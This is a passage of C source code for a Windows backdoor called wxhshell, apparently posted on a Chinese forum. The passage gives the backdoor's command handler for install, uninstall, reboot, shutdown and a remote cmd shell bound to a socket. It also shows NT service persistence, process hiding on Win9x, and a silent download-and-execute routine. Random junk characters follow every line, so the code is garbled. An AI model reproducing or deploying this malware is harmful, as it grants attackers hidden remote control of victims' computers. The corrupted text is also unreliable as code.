  else { r1ao=N  
2M@,g8O+B=  
    switch(cmd[0]) { GUSEbIz):  
  )H8Rfn?  
  // 帮助 NH~\kV  
  case '?': { k^K>*mcJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GKIO@!@[  
    break; OlI|.~  
  } >cJfD9-<h  
  // 安装 aYW 9 C<5  
  case 'i': { vnc- W3N  
    if(Install()) b1\.hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c&X2k\  
    else mQUI9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2!QQypQ  
    break; /-s-W<S[  
    } Lh\ 1L  
  // 卸载 m9M#)<@*  
  case 'r': { (ZSd7qH"  
    if(Uninstall()) d;@"Naw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~HBQQt  
    else O/ybqU\7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &L`^\B]k|  
    break; xl>8B/Zmf#  
    } kn %i#Fz  
  // 显示 wxhshell 所在路径 Y].,}}9k  
  case 'p': { 8}C_/qeM  
    char svExeFile[MAX_PATH]; #83`T&Xw*  
    strcpy(svExeFile,"\n\r"); 7 x#QkImQ  
      strcat(svExeFile,ExeFile); Dk%+|c  
        send(wsh,svExeFile,strlen(svExeFile),0); Gu@n1/m@o  
    break; z* k(` '  
    } h>k[  
  // 重启 XCvL`  
  case 'b': { _3%eIyk4T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uHeKttR-  
    if(Boot(REBOOT)) P_}wjz}9ZX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w#}[=jy  
    else { uo`zAKM&A  
    closesocket(wsh); " rA-u)Te  
    ExitThread(0); i/|}#yw8A  
    } !{q_Q !  
    break; z_f^L %J0  
    } D||)H  
  // 关机 FdGnNDl*e  
  case 'd': { Xrl# DN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L0.F }~S  
    if(Boot(SHUTDOWN)) X~g U$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  T_)G5a  
    else { *(E]]8o  
    closesocket(wsh); )sN}ClgJ  
    ExitThread(0); }i._&x`):  
    } _$+BYK@  
    break;  gx9=L&=d  
    } g286 P_a`*  
  // 获取shell Nnx dO0X  
  case 's': { B_mT[)ut  
    CmdShell(wsh); *[Im].  
    closesocket(wsh); rHiBW!  
    ExitThread(0); F/ o }5H  
    break; *47HN7  
  } ?xwLe  
  // 退出 o3W@)|>  
  case 'x': { wU(p_G3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .fAHP 5-  
    CloseIt(wsh); X4eoE  
    break; nD.K*#u  
    } CT?4A1[aD  
  // 离开 = IJ}b=:  
  case 'q': { (}m2}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7bk`u'0%  
    closesocket(wsh); HSR,moI  
    WSACleanup(); \AeM=K6q+D  
    exit(1); i&^]qL|J  
    break; AO]k*N,N  
        } s+t[{i4|  
  } T*z*x=<5  
  } ka/>jV"  
)LAG$Cn  
  // 提示信息 lk*w M?Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `ztp u ~?  
} m<sCRWa-  
  } RiG]-K:  
#+&"m7 s  
  return; } `Cc-X7  
} <!=:{&d%  
GC`/\~TM  
// shell模块句柄 v, |jmv+:  
int CmdShell(SOCKET sock) MzMVs3w|  
{ wEZieHw  
STARTUPINFO si; T]x]hQ  
ZeroMemory(&si,sizeof(si)); Q[Gs%/>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MFn\[J`Ra  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "[ieOFI  
PROCESS_INFORMATION ProcessInfo; M1=eS@  
char cmdline[]="cmd"; {>UT'fa-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .On3ZN  
  return 0; h<G7ocu!  
} ; GEr8_7  
s14D(:t(  
// 自身启动模式 Vkf c&+  
int StartFromService(void) OP|X-  
{ b ,x$wP+  
typedef struct b#-=Dbe  
{ ?)gc;K  
  DWORD ExitStatus; / hg)=p  
  DWORD PebBaseAddress; r{{5@  
  DWORD AffinityMask; @6M>x=n5  
  DWORD BasePriority; [9d\WPLC  
  ULONG UniqueProcessId; N6Dv1_c,  
  ULONG InheritedFromUniqueProcessId; MU4BAN   
}   PROCESS_BASIC_INFORMATION; 87F]a3  
e=+q*]>  
PROCNTQSIP NtQueryInformationProcess; :w]NN\  
%Z8wUG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; T|p%4hH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CF6qEG6  
/[5\T2GI   
  HANDLE             hProcess; GX'S4B  
  PROCESS_BASIC_INFORMATION pbi; M?5voV*  
=zR9^k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wcbm,O4u  
  if(NULL == hInst ) return 0; drvz [ 9;  
HQSFl=Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,#bT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^fV-m&F)K*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \E6 0  
{]%7-4E  
  if (!NtQueryInformationProcess) return 0; XqGa]/;}  
cSjX/%*!m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xt6%[)  
  if(!hProcess) return 0; 3L-$+j~u  
'Z|Czd8E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z 5g*'  
U] P{~  
  CloseHandle(hProcess); <kJ`qbOU  
|9Y~k,rF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y7,t "XV  
if(hProcess==NULL) return 0; Kpkpr`:)]  
J3XG?' }  
HMODULE hMod; ve\@u@K^  
char procName[255]; (Vn3g ra  
unsigned long cbNeeded; |tC=  j.  
QRx9;!~b}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3vkzN  
fymmA faR  
  CloseHandle(hProcess);  c& $[a%s  
mKoDy`s  
if(strstr(procName,"services")) return 1; // 以服务启动 ['Qh#^p  
If8Lt}-  
  return 0; // 注册表启动 ]z]=?;ty%  
} /z(d!0_q|v  
Jpy~5kS  
// 主模块 pq%inSY  
int StartWxhshell(LPSTR lpCmdLine) mz<X$2]?  
{ Y-,S_59  
  SOCKET wsl; :QF`Orb!^  
BOOL val=TRUE; KpIY>k  
  int port=0; fm$Qd^E|e  
  struct sockaddr_in door; h*Mt{A&'.&  
Ff d4c  
  if(wscfg.ws_autoins) Install(); w]fVELU  
%.wx]:o  
port=atoi(lpCmdLine); )LNKJe+  
MShcZtN  
if(port<=0) port=wscfg.ws_port; !=HxL-`j  
3BAQ2S}  
  WSADATA data; A8k $.E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; k@pEs# a  
G *<g%"  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T+S\'f\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RB6TM  
  door.sin_family = AF_INET; nm)/BK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bN|1%[7  
  door.sin_port = htons(port); (=j/"Mb  
qiq=v)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;&!Q N#_  
closesocket(wsl); 0b<Qs88yd>  
return 1; F0"("4h:  
} a '?LC)^  
UR(i_T&w  
  if(listen(wsl,2) == INVALID_SOCKET) { t0za%q!fK<  
closesocket(wsl); <dAxB$16sT  
return 1; 7+Nl)d:C J  
} JxKd  
  Wxhshell(wsl); /8u}VYE  
  WSACleanup(); :H#D4O8UiH  
>[~`rOU*|Y  
return 0; >jnx2$  
:;IZ|hU  
} lanU)+U.  
F=PBEaX  
// 以NT服务方式启动 QIdml*Np?H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %$bhg&}  
{ ^E)8Sb9t  
DWORD   status = 0; Galh _;=  
  DWORD   specificError = 0xfffffff; m|;gl|dTB  
m8eoD{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y3bL\d1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +Y2D @K?)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :GFK |  
  serviceStatus.dwWin32ExitCode     = 0; I]42R;Sc  
  serviceStatus.dwServiceSpecificExitCode = 0; q"WfKz!U  
  serviceStatus.dwCheckPoint       = 0; D( y c  
  serviceStatus.dwWaitHint       = 0; wod(P73?  
i[wnG)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b?<@  
  if (hServiceStatusHandle==0) return; crx%;R   
|QQ(1#d  
status = GetLastError(); rl2(DA{  
  if (status!=NO_ERROR) Y1F%-o  
{ XsSDz}dg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  Y=H_U$  
    serviceStatus.dwCheckPoint       = 0; .bRtK+}F#  
    serviceStatus.dwWaitHint       = 0; E 0OHl  
    serviceStatus.dwWin32ExitCode     = status; jw/@]f;N  
    serviceStatus.dwServiceSpecificExitCode = specificError; m63>P4h?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QyrB"_dm  
    return; *|cs_,3  
  } dp2FC   
l\2"u M#7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F>?~4y,b7  
  serviceStatus.dwCheckPoint       = 0; "*TP@X?@f  
  serviceStatus.dwWaitHint       = 0; dz/3=0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bIzBY+P  
} &'/bnN +R  
1uEM;O  
// 处理NT服务事件,比如:启动、停止 QtcYFf g  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u Tdz$Nh  
{ 7.+vp@+  
switch(fdwControl) ) % gU  
{ :OqEkh"$#  
case SERVICE_CONTROL_STOP: #miG"2ea..  
  serviceStatus.dwWin32ExitCode = 0; <p?oFD_e4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8|u8J0^  
  serviceStatus.dwCheckPoint   = 0; jN(c`Gb  
  serviceStatus.dwWaitHint     = 0; Tt_QAIl  
  { 'b6qEU#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I9nm$,i]7  
  } \K lY8\c[  
  return; ^rGuyW#  
case SERVICE_CONTROL_PAUSE: };'~@%U]/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .R#<Q  
  break; kt7Emb}  
case SERVICE_CONTROL_CONTINUE: aU#r`D@0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Cd_H<8__  
  break; %fXgV\xY  
case SERVICE_CONTROL_INTERROGATE: ,,g: x  
  break; m!(dk]  
}; &#9HV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]6MXG%  
} DZ:$p.  
+S1h~@c:B  
// 标准应用程序主函数 3GMrdG?Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 76u\# {5  
{ '*`1uomeo  
zQB1C  
// 获取操作系统版本 oHF,k  
OsIsNt=GetOsVer(); 4F!%mMq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <2LUq@Pg  
|-%dN }O  
  // 从命令行安装 yb\!4ml  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^a|  
0&3zBL%Bo  
  // 下载执行文件 -AQ 7Bd  
if(wscfg.ws_downexe) { M(ie1Ju  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) G*-7}7OAs  
  WinExec(wscfg.ws_filenam,SW_HIDE); BDX>J3h  
} 2Y;iqR  
a!&m\+?  
if(!OsIsNt) { |T*t3}  
// 如果时win9x,隐藏进程并且设置为注册表启动 3g0v,7,Zv  
HideProc(); YdYaLTz  
StartWxhshell(lpCmdLine); 3=0b  
} UY)Iu|~0b  
else :Z6l)R+V  
  if(StartFromService()) }!WuJz"  
  // 以服务方式启动 WpkCFp  
  StartServiceCtrlDispatcher(DispatchTable); Hx9lQ8  
else @[5]?8\o  
  // 普通方式启动 /1hcw|cfC  
  StartWxhshell(lpCmdLine); BtQqUk#L2  
L f;Uv[^c  
return 0; Xa$tW%)  
}
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只看该作者 1 发表于: 2006-10-10
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